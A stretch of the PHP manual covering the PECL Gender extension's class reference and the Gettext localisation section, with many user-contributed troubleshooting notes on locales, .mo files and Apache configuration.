const integer NORWAY = 18 ;
const integer SWEDEN = 19 ;
const integer FINLAND = 20 ;
const integer ESTONIA = 21 ;
const integer LATVIA = 22 ;
const integer LITHUANIA = 23 ;
const integer POLAND = 24 ;
const integer CZECH_REP = 25 ;
const integer SLOVAKIA = 26 ;
const integer HUNGARY = 27 ;
const integer ROMANIA = 28 ;
const integer BULGARIA = 29 ;
const integer BOSNIA = 30 ;
const integer CROATIA = 31 ;
const integer KOSOVO = 32 ;
const integer MACEDONIA = 33 ;
const integer MONTENEGRO = 34 ;
const integer SERBIA = 35 ;
const integer SLOVENIA = 36 ;
const integer ALBANIA = 37 ;
const integer GREECE = 38 ;
const integer RUSSIA = 39 ;
const integer BELARUS = 40 ;
const integer MOLDOVA = 41 ;
const integer UKRAINE = 42 ;
const integer ARMENIA = 43 ;
const integer AZERBAIJAN = 44 ;
const integer GEORGIA = 45 ;
const integer KAZAKH_UZBEK = 46 ;
const integer TURKEY = 47 ;
const integer ARABIA = 48 ;
const integer ISRAEL = 49 ;
const integer CHINA = 50 ;
const integer INDIA = 51 ;
const integer JAPAN = 52 ;
const integer KOREA = 53 ;
/* Methods */
public boolean connect ( string $dsn )
public __construct ([ string $dsn ] )
public array country ( integer $country )
public integer get ( string $name [, integer $country ] )
public array isNick ( string $name0 , string $name1 [, integer $country ] )
public array similarNames ( string $name [, integer $country ] )
}

Predefined Constants

Gender\Gender::IS_FEMALE

Gender\Gender::IS_MOSTLY_FEMALE

Gender\Gender::IS_MALE

Gender\Gender::IS_MOSTLY_MALE

Gender\Gender::IS_UNISEX_NAME

Gender\Gender::IS_A_COUPLE

Gender\Gender::NAME_NOT_FOUND

Gender\Gender::ERROR_IN_NAME

Gender\Gender::ANY_COUNTRY

Gender\Gender::BRITAIN

Gender\Gender::IRELAND

Gender\Gender::USA

Gender\Gender::SPAIN

Gender\Gender::PORTUGAL

Gender\Gender::ITALY

Gender\Gender::MALTA

Gender\Gender::FRANCE

Gender\Gender::BELGIUM

Gender\Gender::LUXEMBOURG

Gender\Gender::NETHERLANDS

Gender\Gender::GERMANY

Gender\Gender::EAST_FRISIA

Gender\Gender::AUSTRIA

Gender\Gender::SWISS

Gender\Gender::ICELAND

Gender\Gender::DENMARK

Gender\Gender::NORWAY

Gender\Gender::SWEDEN

Gender\Gender::FINLAND

Gender\Gender::ESTONIA

Gender\Gender::LATVIA

Gender\Gender::LITHUANIA

Gender\Gender::POLAND

Gender\Gender::CZECH_REP

Gender\Gender::SLOVAKIA

Gender\Gender::HUNGARY

Gender\Gender::ROMANIA

Gender\Gender::BULGARIA

Gender\Gender::BOSNIA

Gender\Gender::CROATIA

Gender\Gender::KOSOVO

Gender\Gender::MACEDONIA

Gender\Gender::MONTENEGRO

Gender\Gender::SERBIA

Gender\Gender::SLOVENIA

Gender\Gender::ALBANIA

Gender\Gender::GREECE

Gender\Gender::RUSSIA

Gender\Gender::BELARUS

Gender\Gender::MOLDOVA

Gender\Gender::UKRAINE

Gender\Gender::ARMENIA

Gender\Gender::AZERBAIJAN

Gender\Gender::GEORGIA

Gender\Gender::KAZAKH_UZBEK

Gender\Gender::TURKEY

Gender\Gender::ARABIA

Gender\Gender::ISRAEL

Gender\Gender::CHINA

Gender\Gender::INDIA

Gender\Gender::JAPAN

Gender\Gender::KOREA

Table of Contents

  • Gender\Gender::connect — Connect to an external name dictionary.
  • Gender\Gender::__construct — Construct the Gender object.
  • Gender\Gender::country — Get textual country representation
  • Gender\Gender::get — Get gender of a name.
  • Gender\Gender::isNick — Check if the name0 is an alias of the name1.
  • Gender\Gender::similarNames — Get similar names.

User Contributed Notes

There are no user contributed notes for this page.


Connect to an external name dictionary.

  • « Gender\Gender
  • Gender\Gender::__construct »
  • PHP Manual
  • Gender\Gender
  • Connect to an external name dictionary.

Gender\Gender::connect

(PECL gender >= 0.6.0)

Gender\Gender::connect — Connect to an external name dictionary.

Description

public boolean Gender\Gender::connect ( string $dsn )

Connect to an external name dictionary. Currently only streams are supported.

Parameters

dsn

DSN to open.

Return Values

Boolean as success of failure.

User Contributed Notes

There are no user contributed notes for this page.


Construct the Gender object.

  • « Gender\Gender::connect
  • Gender\Gender::country »
  • PHP Manual
  • Gender\Gender
  • Construct the Gender object.

Gender\Gender::__construct

(PECL gender >= 0.6.0)

Gender\Gender::__construct — Construct the Gender object.

Description

public Gender\Gender::__construct ([ string $dsn ] )

Create a Gender object optionally connecting to an external name dictionary. When no external database was given, compiled in data will be used.

Parameters

dsn

DSN to open.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Get textual country representation

  • « Gender\Gender::__construct
  • Gender\Gender::get »
  • PHP Manual
  • Gender\Gender
  • Get textual country representation

Gender\Gender::country

(PECL gender >= 0.8.0)

Gender\Gender::country — Get textual country representation

Description

public array Gender\Gender::country ( integer $country )

Returns the textual representation of a country from a Gender class constant.

Parameters

country

A country ID specified by a Gender\Gender class constant.

Return Values

Returns an array with the short and full names of the country on success or FALSE on failure.

Examples

Example #1 Using Gender\Gender::country()

$gender = new Gender\Gender;
var_dump($gender->country(Gender\Gender::BRITAIN));

The above example will output:

array(2) {
  'country_short' =>
  string(2) "UK"
  'country' =>
  string(13) "Great Britain"
}

User Contributed Notes

There are no user contributed notes for this page.


Get gender of a name.

  • « Gender\Gender::country
  • Gender\Gender::isNick »
  • PHP Manual
  • Gender\Gender
  • Get gender of a name.

Gender\Gender::get

(PECL gender >= 0.6.0)

Gender\Gender::get — Get gender of a name.

Description

public integer Gender\Gender::get ( string $name [, integer $country ] )

Get the gender of the name in a particular country.

Parameters

name

Name to check.

country

Country id identified by Gender class constant.

Return Values

Returns gender of the name.

User Contributed Notes

There are no user contributed notes for this page.


Check if the name0 is an alias of the name1.

  • « Gender\Gender::get
  • Gender\Gender::similarNames »
  • PHP Manual
  • Gender\Gender
  • Check if the name0 is an alias of the name1.

Gender\Gender::isNick

(PECL gender >= 0.9.0)

Gender\Gender::isNick — Check if the name0 is an alias of the name1.

Description

public array Gender\Gender::isNick ( string $name0 , string $name1 [, integer $country ] )

Check whether the name0 is a nick of the name1.

Parameters

name0

Name to check.

name1

Name to check.

country

Country id identified by Gender class constant. If ommited ANY_COUNTRY is used.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Get similar names.

  • « Gender\Gender::isNick
  • Gettext »
  • PHP Manual
  • Gender\Gender
  • Get similar names.

Gender\Gender::similarNames

(PECL gender >= 0.9.0)

Gender\Gender::similarNames — Get similar names.

Description

public array Gender\Gender::similarNames ( string $name [, integer $country ] )

Get similar names for the given name and country.

Parameters

name

Name to check.

country

Country id identified by Gender class constant. If ommited ANY_COUNTRY is used.

Return Values

Returns an array with the similar names found.

User Contributed Notes

There are no user contributed notes for this page.


Gettext

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Gettext Functions
    • bind_textdomain_codeset — Specify the character encoding in which the messages from the DOMAIN message catalog will be returned
    • bindtextdomain — Sets the path for a domain
    • dcgettext — Overrides the domain for a single lookup
    • dcngettext — Plural version of dcgettext
    • dgettext — Override the current domain
    • dngettext — Plural version of dgettext
    • gettext — Lookup a message in the current domain
    • ngettext — Plural version of gettext
    • textdomain — Sets the default domain

User Contributed Notes

Johnny 14-Jul-2014 06:31
Please also be noticed that the server will cache the .mo file on first loading and then "seldom" reload it, so your update to .mo file will not be revealed.  Some solution to clear the cache from web is to restart the apache server, or to use another name for the textdomain everytime.  These are tedious.  I cannot find better solution yet.
yuricardenas at gmail dot com 21-Jun-2009 08:30
*An important thing to keep in mind*:
Do not forget to set the charset in .po file!
For example:

"Content-Type: text/plain; charset=UTF-8\n"

Then PHP will be able to find the .mo file you generated, using msgfmt, from the .po file WITH CHARSET SET.

Because of this I've wasted a lot of time debugging my code, testing every single little changes people suggested over this manual and Internet:

<?php

//this:
setlocale( LC_MESSAGES, 'pt_BR')
//or this:
setlocale( LC_MESSAGES, 'pt_BR.utf8')
//or this:
setlocale( LC_MESSAGES, '')

//this:
putenv("LANG=pt_BR.utf8");
//or this:
putenv("LANGUAGE=pt_BR.utf8");

//this:
bindtextdomain('mydomain', dirname(__FILE__).'/locale');
//or this:
bindtextdomain("*", dirname(__FILE__).'/locale');
//or this:
bindtextdomain('*', dirname(__FILE__).'/locale');

//setting or not "bind_textdomain_codeset()":
bind_textdomain_codeset("mydomain", 'UTF-8');
?>

As well as what locale directory name to set:
./locale/pt_BR.UTF8/LC_MESSAGES/mydomain.mo
or
./locale/pt_BR/LC_MESSAGES/mydomain.mo
or
./locale/pt/LC_MESSAGES/mydomain.mo

Finally, the code which brought the right translated strings (also with the correct charset) was:

<?php

$directory = dirname(__FILE__).'/locale';
$domain = 'mydomain';
$locale ="pt_BR.utf8";

//putenv("LANG=".$locale); //not needed for my tests, but people say it's useful for windows

setlocale( LC_MESSAGES, $locale);
bindtextdomain($domain, $directory);
textdomain($domain);
bind_textdomain_codeset($domain, 'UTF-8');
?>

And the three directory's names worked out, using the pt_BR.utf8 locale. (My tests were made restarting Apache then trying each directory).

I hope to help someone else not to waste as much time as I've wasted... =P

Using:
Ubuntu 8.04 (hardy)
Apache 2.2.8
PHP 5.2.4-2ubuntu5.6
jpatokal at iki dot fi 29-May-2009 09:05
Warning for Linux (Ubuntu) users!  Your system will *only* support the locales installed on your OS, in the *exact* format given by your OS.  (See also the PHP setlocale man page.)  To get a list of them, enter locale -a, which will give you something like this:

C
en_US.utf8
ja_JP.utf8
POSIX

So this machine only has English and Japanese!  To add eg. Finnish, install the package:

sudo apt-get install language-pack-fi-base

Rerun locale -a, and "fi_FI.utf8" should appear.  Make sure you're using the same name in your PHP code:

setlocale(LC_ALL, "fi_FI.utf8");

Adjust your po paths so that they match, e.g. "./locale/fi_FI.utf8/LC_MESSAGES/messages.po".

Now restart Apache, and it should finally work.  Figuring this out took quite a while...
sasq1 at go2 dot pl 31-Mar-2009 07:18
And what about pgettext and npgettext? They are there in the gettext documentation, but there aren't in PHP. They're very useful if you have the same messages for translation, but in different contexts, so they should be translated separately and probably differently.

Fortunately, there is a simple work-around, which may help:
From the gettext.h header one can find out that pgettext() is only a macro calling dcgettext() internally with properly mangled parameters - msgctxt and msgid are glued together with use of ASCII char 4 [EOT, End Of Text]. The same way they're written in .mo files, so it's possible to refer them this way.

Here's my "emulated" pgettext() function:

<?php
   if (!function_exists('pgettext')) {

      function pgettext($context, $msgid)
      {
         $contextString = "{$context}\004{$msgid}";
         $translation = dcgettext('messages', contextString,LC_MESSAGES);
         if ($translation == $contextString)  return $msgid;
         else  return $translation;
      }

   }
?>

By default, xgettext doesn't support pgettext function for PHP source files. But there is a parameter which can work-around it. Here's how I call xgettext:

   xgettext --force-po --keyword="pgettext:1c,2" -c -o messages.po sourceFile.php

In sourceFile.php I use the following test code:

   pgettext('menu', 'Open');  //Substitute "Otwórz"
   pgettext('forum', 'Open');  //Substitute "Otwarty", different context

Generated .po file fragment:

   msgctxt "menu"
   msgid "Open"
   msgstr "Otwórz"

   msgctxt "forum"
   msgctxt "Open"
   msgstr "Otwarty"

I've tested it out and everything works fine :-) If anyone have some further suggestions or fixes, please write ;-)
rainwalker at seznam dot cz 19-Mar-2009 06:16
My PHP app was made for UTF-8 but i had a problem that gettext always returned all texts in ISO-8859-2 instead of UTF-8.

Then i found out that you have to set locale in PHP exactly to encoding you request. So when i wanted czech UTF-8 i used:

setlocale(LC_ALL, "cs_CZ.UTF-8");

Now it works...
djogopatrao at gmail dot com 10-Dec-2008 07:49
It is noteworthy that, according to the GNU gettext FAQ[1], * source code must be ASCII *. That means that you can't write code like

<?= _("áááàààãã")?>

in UTF-8, ISO-8859-1 or whatever, and hope that that will work. It won't.

[1]http://www.gnu.org/software/gettext/FAQ.html#nonascii_strings
php at devicenull dot org 21-Aug-2008 04:58
To get this working properly on debian, install the locales-all package.  I just spent a few hours finding a bug where it wouldn't work because that package is missing


Introduction

The gettext functions implement an NLS (Native Language Support) API which can be used to internationalize your PHP applications. Please see the gettext documentation for your system for a thorough explanation of these functions or view the docs at » http://www.gnu.org/software/gettext/manual/gettext.html.

User Contributed Notes

There are no user contributed notes for this page.


Requirements

To use these functions you must download and install the GNU gettext package from » http://www.gnu.org/software/gettext/gettext.html

User Contributed Notes

There are no user contributed notes for this page.


Installation

To include GNU gettext support in your PHP build you must add the option --with-gettext[=DIR] where DIR is the gettext install directory, defaults to /usr/local.

User Contributed Notes

Anonymous 22-Nov-2010 01:59
Linux users that compile PHP --with-gettext=shared should include
extension=gettext.so

in your /etc/php.ini
windowsuser at example dot com 19-Sep-2008 09:35
Windows users have to add php_gettext.dll to their extensions directory, and enable it in their php.ini file.


Gettext Functions

Table of Contents

  • bind_textdomain_codeset — Specify the character encoding in which the messages from the DOMAIN message catalog will be returned
  • bindtextdomain — Sets the path for a domain
  • dcgettext — Overrides the domain for a single lookup
  • dcngettext — Plural version of dcgettext
  • dgettext — Override the current domain
  • dngettext — Plural version of dgettext
  • gettext — Lookup a message in the current domain
  • ngettext — Plural version of gettext
  • textdomain — Sets the default domain

User Contributed Notes

analpaper{gmail} 28-Aug-2008 11:36
in response to richard:
i was using the wildcard * for sometime ago without problem, until today.

i used:
<?php bindtextdomain( '*', './locale' ); ?>
but it seems to fail under some environments (i dont know why, but in diff machines with same software the result is not always as expected)..

then, with:
<?php bindtextdomain( "*", './locale' ); ?>
all is nicely translated again.

i use single quotes always if possible, now there are another think to remember.
---
live2code
Sbastien Ballest-Antich 21-May-2008 03:08
A workaround to use heredoc and gettext strings with sprintf :
<?php
$hd = <<<EOD
   <p>%s</p>
   <p>%s</p>
EOD;
$hdgt = sprintf($hd, _('Heredoc'), _('gettext'));
var_dump($hdgt);
?>
titan at phpdevshell dot org 07-Mar-2008 08:25
If you would like to create a .po file with include heredoc scripts inside curly brackets {} solution is as follows;

I want to translate what in here (test.php):
<code>
<?php
$EOF = <<<EOF
{$t->__('I want to translate this string.')}
EOF;
?>
</code>

You will have to use the xgettext (gnu utility) with the Python parser like so:
<code>
$ xgettext --default-domain=test --keyword=__ --keyword --language=Python test.php
</code>

The above terminal command might seem wrong with --keyword used twice, this is however correct.
SEWilco 25-Jul-2007 11:21
People have suggested several combinations of configuration options.  Consider trying nested loops with various combinations of language names (with and without character set suffixes) and pathnames.  A gettext() call in the middle of the loops can test for success (a string being translated).

"Of 4374 localization setup variations tested there were 0 successes."

Sometimes one just has to fix the system and PHP configuration.
jon at nospam dot foo 26-Apr-2007 12:37
I'm sure I'll confuse further, but I feel compelled to chime in.  I got stuck on this a bit...

It's absolutely critical that your gettext installation supports the locale you are trying to use in your setlocale(LC_MESSAGES,$locale) call.

This does not work:

setlocale(LC_MESSAGES,"en");

in OpenSUSE 10.2, because /usr/lib/locale does not contain the directory "en" (out of the box), even though your custom LC_MESSAGES domain location might.

In OpenSUSE 10.2, at least, /usr/lib/locale contains for USA English:

en_US
en_US.iso885915
en_US.utf8

(again, not "en").

It might be possible to set up an alias, I'm not sure (does anyone have a idea about this).

My goal was to use HTTP_ACCEPT_LANGUAGE to set locale (I realize that locale != language, but it seems that gettext uses locale to assign language (scratches head) ).  Opera in OS X does not send "en_US".  However, Firefox does out of the box.  I'm not sure if it's supposed to work this way, but it seems like it should, and so the way Opera handles this appears to be an issue.  Incidentally, Safari simples send "en" in HTTP_ACCEPT_LANGUAGE, and will also not work.

This compelled me to set a configurable default locale (e.g "en_US") in my PHP app, which one probably should do anyway, because HTTP_ACCEPT_LANGUAGE might be blank.
jeremy at jeremy dot se dot nospam 20-Feb-2007 08:27
As some of you have mentioned, you must have the locales compiled on your system first. How this is done is depending on your system/distribution *sigh*

In every case you need to have gettext installed on your system. Users running a Linux with a recent version of libc will have gettext in libc already.

Here's an example for those of you running Ubuntu Edgy.

First of all, have a look in /usr/share/i18n/SUPPORTED, here are the locales that are supported on your system. To compile a locale we will use the command "locale-gen". ("man 8 locale-gen" is good reading)

This command reads configuration from files in the folder /var/lib/locales/supported.d/ In these files the locales and charsets are defined.

If we take swedish as an example, start by creating a file called "sv" in /var/lib/locales/supported.d/ and then put in something like "sv_SE.UTF8 UTF8" (without the " ") This says that we want the locale sv_SE to be built with charmap UTF-8. Check the file /usr/share/i18n/SUPPORTED for other alternatives.

Now we run "locale-gen" which will compile all locales defined in /var/lib/locales/supported.d/ and put them in /usr/lib/locales (yes that's a lot of locations...)

Now you're ready to go...

Create a php-file (e.g. hello.php) where all strings you want to translate are surrounded with _("string here");

next run "xgettext hello.php", this creates a file called messages.po, which is you translation-file (pot). Change the "Content-Type: text/plain; charset=CHARSET\n" in this file and replace CHARSET with UTF-8 in this case. Next translate all strings like this.

#: hello.php:3
msgid "hello!"
msgstr "hej!"

Save and use the command "msgfmt -o hello.mo messages.po" which will create a compiled .mo file called hello.mo

This file is then placed in a directory structure somewhere your Apache can read it. The structure looks like this:

"locale/sv/LC_MESSAGES/hello.mo"

Next, let php know what we're doing. We point to where we have our translations. Add the following at the top of hello.php

bindtextdomain('hello','/somepath/locale');

This binds the file hello.mo to the locale/ directory you created.
Then set the locale. LC_ALL tells that we want everything translated. Might not be good at all times, as another person here suggested.

setlocale(LC_ALL, "sv_SE.UTF-8");

Finally select the that we want to use hello.mo

textdomain('hello');

That should be it! Try it out..

If you get any problems try restarting Apache as it seems to cache the locales.

If you are running command line you might have to set the environment variable LANGUAGE to your locale as well. I didn't have to do that to get it working in apache though, but you might...

putenv("LANGUAGE=sv_SE.UTF-8");
djogopatrao at gmail dot com 01-Nov-2006 12:57
Juan Liska, I found an alternative. Instead of renaming or adding a alias to the locale, I simply changed

$language = 'pt_BR';

to

$language = 'pt_BR.UTF-8';
putenv("LANG=$language");
setlocale(LC_ALL, $language)

and it did work fine!
konrads/smelkovs/gmail/com 11-Oct-2006 04:16
re LC_MESSAGES for windows users, LC_MESSAGES should be defi0ned as 5
C Snover 13-Aug-2006 01:26
I think that it bears mentioning that most documentation and tutorials you will find say that you should setenv(LC_ALL, $locale), but this only works IF THE LOCALE IS VALID ON THE LOCAL MACHINE. If you are using a locale that does not exist on the system or is not valid (like something returned from the HTTP Accept-Language header, such as 'ja', which is never a valid locale because it does not include the country code JP), you will probably be pulling your hair out for HOURS trying to figure out why the damn thing isn't working.

What I have found is that setting the LANGUAGE variable (eg. setenv("LANGUAGE=$locale")) will allow gettext to search inside your locale directories, even if the locale is not actually valid on the local system.

So, to summarize:

This will work:
<?php
$locale = 'ja'; // Pretend this came from the Accept-Language header
$locale_dir = './locale'; // your .po and .mo files should be at $locale_dir/$locale/LC_MESSAGES/messages.{po,mo}

putenv("LANGUAGE=$locale");
bindtextdomain('messages', $locale_dir);
textdomain('messages');
?>

This will not work:
<?php
$locale = 'ja';
$locale_dir = './locale';

putenv("LC_ALL=$locale");
bindtextdomain('messages', $locale_dir);
textdomain('messages');
?>

This will also not work:
<?php
$locale = 'ja';
$locale_dir = './locale';

setlocale(LC_ALL, $locale);
bindtextdomain('messages', $locale_dir);
textdomain('messages');
?>

Nor will this work:
<?php
$locale = 'ja';
$locale_dir = './locale';

setlocale(LC_MESSAGES, $locale);
bindtextdomain('messages', $locale_dir);
textdomain('messages');
?>

For reference, this was tested on PHP 5.1.2 + LigHTTPd 1.4.11 + gettext 0.14.5 on Ubuntu Dapper 6.06. It should be true for any variant of Linux, however, as well as older versions of these software packages.
richard at hirner dot at 14-Jul-2006 01:43
the * wildcard doesn't work for me (php 5)... I have to use bindtextdomain for each textdomain
webmaster [at] ttw [dash] tool [dot] de 21-May-2006 01:49
If you want to use messages from multiple domains with .mo-files residing in non-standard locations remember to place a bindtextdomain()-call for each domain as "unbound" domains will be looked for in the standard location (usually "/usr/share/locale" on *nix)

<?php

    bindtextdomain('foo','/some/dir/with/mo_files');
    bindtextdomain('bar','/another/mo_file/dir');

    echo dgettext('foo','Text to be translated using the foo-catalog.');
    echo dgettext('bar','Text from a different catalog named bar.');

?>

If all the .mo-files you are using reside in one and the same directory, you may use the "*"-wildcard like this:

<?php

    bindtextdomain('*','/directory/with/all/mo_files');

?>

This code was tested on PHP 5.1.4
info at adaniels dot nl 19-Apr-2006 09:19
As stated by robert at klugher dot com:
The environment setting 'LANGUAGE' gets priority above any local setting. This means that changing LC_ALL/LC_MESSAGES and LANG as done in almost all examples, won't do anything.

So if you've done
<?php
    $language = "nl_NL";
    putenv("LANG=$language");
    setlocale(LC_ALL, $language);
    ...
?>
but the text is still displayed in english. Try also setting the LANGUAGE variable.
<?php
    $language = "nl_NL";
    putenv("LANGUAGE=$language");
    putenv("LANG=$language");
    setlocale(LC_ALL, $language);
    ...
?>
birkholz at web dot de 29-Mar-2006 06:52
> stefan+usenet at froehlich dot priv dot at wrote at 5-May-2004 01:30:
> Reading the line
>
> <? php setlocale(LC_ALL, 'de_DE'); ?>
>
> here over and over again, I have to warn using it, as there are severe caveats.
> For certain locales, LC_NUMERIC swaps period and comma, which may e.g. lead to
> decimals silently stripped of numbers, when inserting rows into an SQL database.
>So DON'T do this, but use
>
> <? php setlocale(LC_MESSAGES, 'de_DE'); ?>
>
> instead, which does exactly what you want, without any nasty side effecs.

For all Windows-Users:
Be warned the LC_MESSAGES seems to be NOT set on Windows with PHP 5.1.2, so if you develope applications for a Linux-System and want to make it multi-language using gettext, you will get problems using LC_MESSAGES on your Windows-Developement-Box.
You can try to solve this problem by putting a

<?php if (!defined('LC_MESSAGES')) define('LC_MESSAGES', 6); ?>

to your script to get no warning if you pass LC_MESSAGES to the setlocale()-function.
Juan Liska 16-Nov-2005 12:09
if you're having trouble with setlocale (if it's returning false) on ubuntu or debian:

nano /etc/locale.gen

make sure that the locales taht you want are in the list, if not, add them. for instance, i wanted es_GT (b/c i have an app that must run on redhat and debian, i cant change to es_GT.UTF-8) so, add:

es_GT UTF-8

then run:

locale-gen

you now have the locales you want, not just the ones the system magically came with
milky#users:sf/net 09-Jun-2005 03:12
There exists an emulation for the gettext functions - obviously slower than the native binding, but can be used on shared servers which lack the extension. It is believed to be rather useful as fallback (comes already encapsulated with if-function_exists checks).
See the ext/ directory in the [ http://freshmeat.net/p/upgradephp ] tarball.  Support for plural translations isn't there, because that is too hard to get reimplemented reliably.
tucsi at c2 dot hu 19-May-2005 01:09
If your gettext translation does not work in safe mode, than try to set this in the php.ini:
safe_mode_allowed_env_vars = PHP_,LANG
Maxwel Leite -maxwelleite at gmail com- 27-Apr-2005 09:36
PHP-gettext is developed to be able to read gettext MO files directly, without requiring anything other than PHP:
https://savannah.nongnu.org/projects/php-gettext/
elonen at iki dot fi 30-Mar-2005 10:51
For making localized copies of PHP files (statical l10n), here's a GPL'd command line tool: http://iki.fi/elonen/code/pophorator/
dpatton at confluence dot org 28-Feb-2005 07:47
Make sure you check your webserver configuration before deciding to use gettext, because if you are running in a multi-threaded environment you should not use gettext, as it is not thread-safe.

A future version of gettext(possibly 0.15) may be thread-safe.
Any gettext dependencies, such as glibc would also need to be thread-safe.

Apache 1.3 on Unix generally is non-threaded, but on Windows it is multithreaded.
Apache 2.0 has support for MPMs(Multi-Processing Modules), some of which support multiple threads:
http://httpd.apache.org/docs-2.0/mpm.html
susko at seznam dot cz 24-Feb-2005 06:09
Gettext returning question marks instead of some local characters? Try using bind_textdomain_codeset to change codeset of the translated messages:

bind_textdomain_codeset (domain, codeset);

It worked for me, hope it works for you ..
zixia at zixia dot net 11-Jun-2004 11:42
If gettext does not work with your locale, ie 'zh_CN', just going to see if the output of command "localedef --list-archive" contains your locale('zh_CN' in this example).
If it not, try to use a exist locale or use "localedef" to create one: "localedef -f GBK -i zh_CN zh_CN" in my case.
mikolaj at webgate dot bg 10-Jun-2004 01:54
winXP, PHP 4.3.5 as Apache1.3.29 module

Two hints for Windows users.

I found setting locale is neither sufficient nor nessecery. To get it work I needed to set either LC_ALL or LANG enviroment variable to my locale. Anyway this value must be proper for setlocale so it is good to test with it. In my case it was bgr_BGR for bulgarian according to http://www.unicode.org/onlinedat/countries.html

gettext checks for files once and keeps them in cashe. Especially it means that if it doesn't find your files it won't search again, so restart Apache after any directory changes!!

My minimal working script:
<?php
// translation file: D:\Apache\htdocs\mypage\locale\bgr_BGR\LC_MESSAGES\messages.mo
putenv("LC_ALL=bgr_BGR");
bindtextdomain('messages', 'D:\Apache\htdocs\mypage\locale\\');
echo gettext("Hello");
?>
stefan+usenet at froehlich dot priv dot at 05-May-2004 01:30
Reading the line

<? php setlocale(LC_ALL, 'de_DE'); ?>

here over and over again, I have to warn using it, as there are severe caveats. For certain locales, LC_NUMERIC swaps period and comma, which may e.g. lead to decimals silently stripped of numbers, when inserting rows into an SQL database. So DON'T do this, but use

<? php setlocale(LC_MESSAGES, 'de_DE'); ?>

instead, which does exactly what you want, without any nasty side effecs.
kocio at irc dot pl 04-May-2004 12:26
Following three lines take about 0.5 second to execute (Debian, Celeron 2GHz, 256MB RAM):

setlocale(LC_ALL, 'pl_PL');
bindtextdomain('my_domain', '../dir/' . 'locale');
textdomain('my_domain');

I think that such delay is important enough to be mentioned in the documentation. In my particular case, it means more than doubled execution time for the entire script.
dev.php at tfelber.net 27-Aug-2003 04:35
Check your

/etc/locales.aliases for "english en_GB.ISO-8859-1" (mentioned before)

and your

/etc/locales.gen for en_GB.ISO-8859-15 ISO-8859-15

I'm not sure if only this entry solved the problem. In my case this entry was made by an dpkg-reconfigure locales (debian), where i created the locales.

Translation only works with de_GE@euro and  en_GB.ISO-8859-15 (first column in you locales.gen)
wouter at grep dot be 13-Aug-2003 09:28
Of course, translation is only interesting if you provide the user with the language and encoding he asks for. Since there's part of the HTTP protocol that allows you to specify that, it's nice if one can use that information to pick the 'right' translation out of the ones you have available.

I wrote something that does just that -- it parses the 'Accept-Language' and 'Accept-Charset' HTTP/1.1 headers, and tells you which one the user prefers out of a list you provide. You can download it at http://www.grep.be/articles/php-accept.php

Note that even if the user's browser may support this, the user may not know about it; as such, it's probably good practice not to remove links to other-languaged versions, so that people can still get a version of your site in another language if they so prefer.
jc 14-Jul-2003 10:15
I had a lot of problems getting gettext to work (RedHat 7.3). After reading ALL the comments in this manual, I got it to work OK.

In summary, take care that:

1) You use a full locale in the setlocale()
2) Your language_country exists in the /usr/share/locale/locale.alias
3) It seems that Apache needs to be restarted (a "graceful" did the trick for me)
4) Your .mo files must be named after the domain

My code:

$language = "es_ES";
$locale = setlocale(LC_ALL, $language);

$gettext_domain = 'messages';
bindtextdomain($gettext_domain, "/full/path/to/locale");
textdomain($gettext_domain);
anim8 18-Jun-2003 03:15
Even though in some cases setlocale() may require a country code in addition to the language code this does not mean that it is required for gettext.

If setlocale() is set to either es_ES or es_MX gettext() will still get the text from a po file in the 'es' folder.

It probably is not a good idea to go changing a systems alias file(s) just to avoid the verbosity of the ISO standard because:
  a) you might break something
  b) your code just lost it's portability

.
14-Jun-2003 04:41
The way I got gettext to work with just a standard "de" or "fr" instead of "de_DE" was I overwrote my /usr/share/locale/locale.alias with /usr/lib/X11/locale/locale.alias file.  The I restarted Apache.  Reason I did this was it appeared the X11 file was more up to date and more modernised!
Picco 08-Jun-2003 07:45
Note to Chinese programmers....

Took me hours to figure out you cannot use

LANG=zh
but have to use
LANG=zh_TW
on some machines...

a good way to test will be to check the return of setlocale()
robert at klugher dot com 25-Feb-2003 06:03
Sorry, one more info :

the previous post is especially interesting when you have values set on the server for some of the LC_... then, setlocale() output gives you all the LC_... with their value.

BUT do not forget that the priority order for gettext is:

LANGUAGE
LC_ALL
LC_MESSAGES
LANG

Then, if ever you script always translate to the same language, check the value of LANGUAGE ...
robert at klugher dot com 25-Feb-2003 02:24
One trick I found after HOURS of tries :

when you use the setlocale(), PHP will use the locale info it will find in, for example, /usr/share/locale to set the language info for LC_ALL, LC_MESSAGES, ...

You can check the exact info it will use by using putenv() with LANG=.... and looking at the return value of setlocale(LC_ALL, ""). The language value your gettext function will use to look for your translation file is the one given for LC_MESSAGES.

Example :

I was setting the LANG as fr_BE, and placed the translation file in dirxxx/locale/fr_BE/LC_MESSAGES/...
As it was locale info in my system for fr_BE but NOT LC_MESSAGES, PHP choosed to use the LC_MESSAGES settings for fr_FR instead and then, was looking for a translation file in dirxxx/locale/fr_FR/LC_MESSAGES/..., which wasn't found of course.

So, just make sure to look at the return value of setlocale to see what language value is associated to LC_MESSAGES and, then, to know in which subdirectory the translation file will be looked for by gettext.

Robert
zw at matfyz dot cz 05-Feb-2003 07:38
There is a nice tutorial on using gettext with php http://www.onlamp.com/pub/a/php/2002/06/13/php.html
php at zpod dot ca 30-Jan-2003 04:24
For those of you just trying to get a script working and your provider doesn't support gettext, you can bypass the international stuff by adding this:

function _($str) {
    return $str;
}
Eneko Lacunza enlar at enlar dot net 16-Jan-2003 05:20
Some tips from my Red Hat Linux 7.3 system.

It didn't work for me until I set a full locale (i.e. es_ES) with setlocale.

I was trying with Michele Manzato's example (thank you!), but as it sets the language without the country, it was failing for me. Here is the example "fixed" with full locale:

// Change to script directory
// (Not needed in RH 7.3)
$path = dirname(getenv(PATH_TRANSLATED));
chdir($path);

// Set the language as full locale 'es_ES'
$language = 'es_ES';
putenv("LANG=$language");
setlocale(LC_ALL, $language);

// Set the text domain as 'mydomain'
$domain = 'mydomain';
bindtextdomain("$domain", "./locale");
textdomain("$domain");

// The .mo file searched is:
// ./locale/es_ES/LC_MESSAGES/mydomain.mo
// or if previous one doesn't exist:
// ./locale/es/LC_MESSAGES/mydomain.mo

echo gettext("Hello world!");

Hope this helps!
Eneko.
yledoare at free dot fr 15-Jan-2003 04:32
Corrections to "hace_x at yahoo dot com" message.

Note : The backslash have been removed in the greetings.po sample code (before the n characters at end of lines).

Same thing for ".includestranslations" to move into "./includes/translations" in php sample.

